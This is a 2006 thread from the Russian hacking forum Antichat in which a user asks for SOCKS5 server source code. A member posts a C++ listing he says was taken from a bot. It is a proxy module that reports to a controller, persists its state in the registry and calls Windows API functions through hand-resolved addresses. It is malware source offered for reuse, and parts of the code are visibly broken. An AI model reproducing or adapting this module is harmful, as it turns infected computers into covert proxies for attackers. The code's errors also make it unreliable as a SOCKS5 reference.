ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

у кого есть исходник сокса 5?
  #1  
Старый 23.02.2006, 14:58
Аватар для Dr0ne
Dr0ne
Новичок
Регистрация: 22.02.2006
Сообщений: 12
Провел на форуме:
39733

Репутация: 3
По умолчанию у кого есть исходник сокса 5?

если не сложно выложите исходник пятого сокса под win С++. я искал, так и не смог найти.
 
Ответить с цитированием

  #2  
Старый 23.02.2006, 15:06
Аватар для KEZ
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

приведи в нормальное состояние. надеюсь ты понял что Socks5_Opt структуры тут нет, но она и не нужна в общем случае.
и ещё тут API ф-ии с префиксами "_". потомучто у меня вручную адреса их находяться. ты можешь убрать эти _
только не спрашивай потом почему "я его скомпилил но появились ошибки"

Код:
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include "InitAPI.h" // это все мое
#include "RegSave.h" // тоже
#include "Socks5.h" // ну там тоже

Socks5_Opt Opt_Socks5;

struct socks5_method_request
{
	unsigned char version;
	unsigned char nmethods ;
	unsigned char methods[255];
};

typedef struct tag_socks5_method_response
{
	unsigned char version;
	unsigned char method;
} socks5_method_response;

typedef struct tag_socks5_request
{
	unsigned char version;
	unsigned char command;
	unsigned char reserved;
	unsigned char atype;
	DWORD addr;
	WORD port;
} socks5_request;

typedef struct tag_SOCKS4_REQUEST
{
	unsigned char ucVersion;
	unsigned char ucCommand;
	WORD wDestPort;
	DWORD dwDestIp;
} SOCKS4_REQUEST;

#define _try int loop = 0; while(loop++ == 0)
#define _leave break

#define Cl_SendMessage(x) Client_SendMessage(x,Opt_Socks5.CLIENT)

DWORD WINAPI Socks5HandlerTreadProc( LPVOID pParam )
{
	SOCKET s = (SOCKET)pParam;
	SOCKET tunnelSock = 0;
	int loop = 0;

	while (loop++ == 0 && Opt_Socks5.started)
	{
		int iConnectResult = 0;
		SOCKS4_REQUEST socks4Request, socks4Response;
		int iReceiveRes = 0, iSendRes = 0, iSelectRes = 0, iCtlRes = 0;
		SOCKADDR_IN remoteAddr = {0};

		u_long ulVal = 1;

		int iBytesReceived = 0;

		fd_set fds_read;
		int iSocketsSet = 0;

		FD_ZERO( &fds_read );
		FD_SET(s, &fds_read);
		TIMEVAL tv = {0};
		tv.tv_sec = 30;
		char cSocksVersion = 0;

	int iSelectResult = _select(0, &fds_read, NULL, NULL, &tv);
	if (iSelectResult == SOCKET_ERROR || !iSelectResult) break;
  
	ulVal = 0;
	iCtlRes = _ioctlsocket(s, FIONBIO , &ulVal);
	iReceiveRes = _recv(s, &cSocksVersion, 1, MSG_PEEK);
  
	if (cSocksVersion == 5)
	{
		socks5_method_request s5method = {0};
		socks5_method_response s5methodResponse = {0};
		socks5_request s5Request = {0};

	iReceiveRes = _recv(s, ((char*)&s5method.version), 1, 0);
	iReceiveRes = _recv(s, ((char*)&s5method.nmethods), 1, 0);
   iReceiveRes = _recv(s, ((char*)&s5method.nmethods), s5method.nmethods, 0);
   s5methodResponse.version = 5;
   s5methodResponse.method = 0;

   iSendRes = _send(s, (char*)&s5methodResponse, sizeof(s5methodResponse), 0);

   iReceiveRes = _recv(s, (char*)&s5Request, sizeof(s5Request), 0);
   if (s5Request.atype != 1){
    s5Request.command = 8;
    iSendRes = _send(s, (char*)&s5Request, sizeof(s5Request), 0);
    break;
   }

   if (s5Request.command == 1)
   {
    remoteAddr.sin_family = AF_INET;
    memcpy(&(remoteAddr.sin_addr),&(s5Request.addr), sizeof(remoteAddr.sin_addr));
    remoteAddr.sin_port = s5Request.port;
    tunnelSock = _socket(AF_INET, SOCK_STREAM, 0);
    iConnectResult = _connect(tunnelSock, (struct sockaddr*) &remoteAddr,
     sizeof(remoteAddr));
    if (iConnectResult != SOCKET_ERROR)
	{
     s5Request.command = 0;
     iSendRes = _send(s, (char*)&s5Request, sizeof(s5Request), 0);
    }
	else
	{
     s5Request.command = 1;
     iSendRes = _send(s, (char*)&s5Request, sizeof(s5Request), 0);

     break;
    }
   } else break;
  } else  break;

  ulVal = 0;
  iCtlRes = _ioctlsocket(tunnelSock, FIONBIO , &ulVal);
  iCtlRes = _ioctlsocket(s , FIONBIO , &ulVal);

  char swapBuffer[4096*16];
  int iSendResult, i_recvResult;

  tv.tv_sec = 2;

  while (Opt_Socks5.started)
  {
   FD_ZERO(&fds_read);
   FD_SET(s, &fds_read);
   FD_SET(tunnelSock, &fds_read);
   iSocketsSet = _select(0, &fds_read, NULL, NULL, &tv);
   if (iSocketsSet > 0)
   {
    if (_WSAFDIsSet( s, &fds_read ) )
	{
     i_recvResult = _recv(s, swapBuffer, sizeof(swapBuffer), MSG_PEEK);
     if (i_recvResult == 0) _leave;
     else i_recvResult = _recv(s, swapBuffer, sizeof(swapBuffer), 0);
     if (i_recvResult != SOCKET_ERROR && i_recvResult > 0 )
      iSendResult = _send(tunnelSock, swapBuffer, i_recvResult, 0);
     else break;
    }
    if (_WSAFDIsSet(tunnelSock, &fds_read)){
     i_recvResult = _recv(tunnelSock, swapBuffer, sizeof(swapBuffer), MSG_PEEK);
     if (i_recvResult == 0) break;
     else i_recvResult = _recv(tunnelSock, swapBuffer, sizeof(swapBuffer), 0);
     if (i_recvResult != SOCKET_ERROR && i_recvResult > 0 )
      iSendResult = _send(s, swapBuffer, i_recvResult, 0);
     else break;
    }
   }
  }
 }
 
	if (s) _closesocket( s );
	if (tunnelSock) _closesocket( tunnelSock );
	return 0;
}

DWORD WINAPI Socks5_Thread( LPVOID port )
{
	DWORD dwThreadId;
	CLIENT_MESSAGE temp;

	sprintf( temp.to, "%s", Opt_Socks5.privmsg_to );

	Opt_Socks5.s = _socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
	if (Opt_Socks5.s == INVALID_SOCKET)
	{
		Opt_Socks5.started = 0;

		sprintf( temp.text, "SOCKS5: Couldnot create main socket" );
		if (!Opt_Socks5.ignore_send) Cl_SendMessage( temp );

		return 0;
	}

	SOCKADDR_IN sock5;

	sock5.sin_family      = AF_INET;
	sock5.sin_port        = _htons( (unsigned int)Opt_Socks5.port );
	sock5.sin_addr.s_addr = INADDR_ANY;

	if (_bind( Opt_Socks5.s, (sockaddr*)&sock5, sizeof( sock5 ) )
		== SOCKET_ERROR)
	{
		Opt_Socks5.started = 0;
		_closesocket( Opt_Socks5.s );

		sprintf( temp.text, "SOCKS5: Couldnot bind main socket" );
		if (!Opt_Socks5.ignore_send) Cl_SendMessage( temp );

		return 0;
	}

	if (_listen( Opt_Socks5.s, 0xff ) == SOCKET_ERROR) return 0;

	sprintf( temp.text, "Socks5 started" );
	if (!Opt_Socks5.ignore_send) Cl_SendMessage( temp );

	/* save state */
	Socks5_SaveState( TRUE, Opt_Socks5.port );

	/* accept/createthread loop */
	while (Opt_Socks5.started)
		_CreateThread( 0, 0, Socks5HandlerTreadProc, (LPVOID)_accept( Opt_Socks5.s, 0, 0 ), 0, &dwThreadId );

	return 1;
}


/* start/stop functions */
int Socks5_StartThread( unsigned int port, char *privmsg_to, int CLIENT )
{
	DWORD dwThreadId;

	sprintf( Opt_Socks5.privmsg_to, "%s", privmsg_to );

	if (Opt_Socks5.started) return 2;

	Opt_Socks5.ignore_send = ignore_send;
	Opt_Socks5.port = port;
	Opt_Socks5.started = 1;
	Opt_Socks5.CLIENT  = CLIENT;

	Opt_Socks5.hSocks5Thread = _CreateThread( NULL, NULL,
		Socks5_Thread, NULL, NULL, &dwThreadId );

	return 1;
}

int Socks5_StopThread( int savestate )
{
	if (!Opt_Socks5.started) return 2;

	Opt_Socks5.started = 0;

	_closesocket( Opt_Socks5.s );
	_TerminateThread( Opt_Socks5.hSocks5Thread, 0 );

	if (savestate) Socks5_SaveState( FALSE, 0 );

	return 1;
}

int Socks5_GetStatus( void )
{
	return Opt_Socks5.started;
}

unsigned int Socks5_GetCurrentPort( void )
{
	return Opt_Socks5.port;
}

int Socks5_SaveState( BOOL started, unsigned int port )
{
	Reg_SaveValue( "socks5_state", &started, REG_DWORD );
	if (port) Reg_SaveValue( "socks5_port", &port, REG_DWORD );

	return 1;
}
вырвано из бота...

Последний раз редактировалось KEZ; 23.02.2006 в 15:08..
 
Ответить с цитированием

  #3  
Старый 23.02.2006, 20:22
Аватар для Dr0ne
Dr0ne
Новичок
Регистрация: 22.02.2006
Сообщений: 12
Провел на форуме:
39733

Репутация: 3
По умолчанию

сенкс. думаю я разберусь
 
Ответить с цитированием

  #4  
Старый 24.02.2006, 02:20
Аватар для drmist
drmist
Green member - Level 3
Регистрация: 08.10.2005
Сообщений: 396
Провел на форуме:
400609

Репутация: 239
По умолчанию

Dr0ne
я бы посоветовал Вам поискать RFC - там все очень просто.
__________________
Никому нельзя верить...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
секреты и коды для сотовых телефонов ))) dinar_007 Сотовый фрикинг 32 05.08.2006 17:06
у кого есть мультики?? Zakary Болталка 0 31.01.2006 08:26
ЕсТь ВоПрос Guma Чаты 4 26.10.2005 21:48
У кого есть права на тачку и кто их собирается делать? PEPSICOLA Болталка 10 29.09.2005 04:33
Есть админка, есть user.dat файл с данными о всех зарегистрированых пользователях... forever777 Форумы 10 20.06.2005 18:02



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ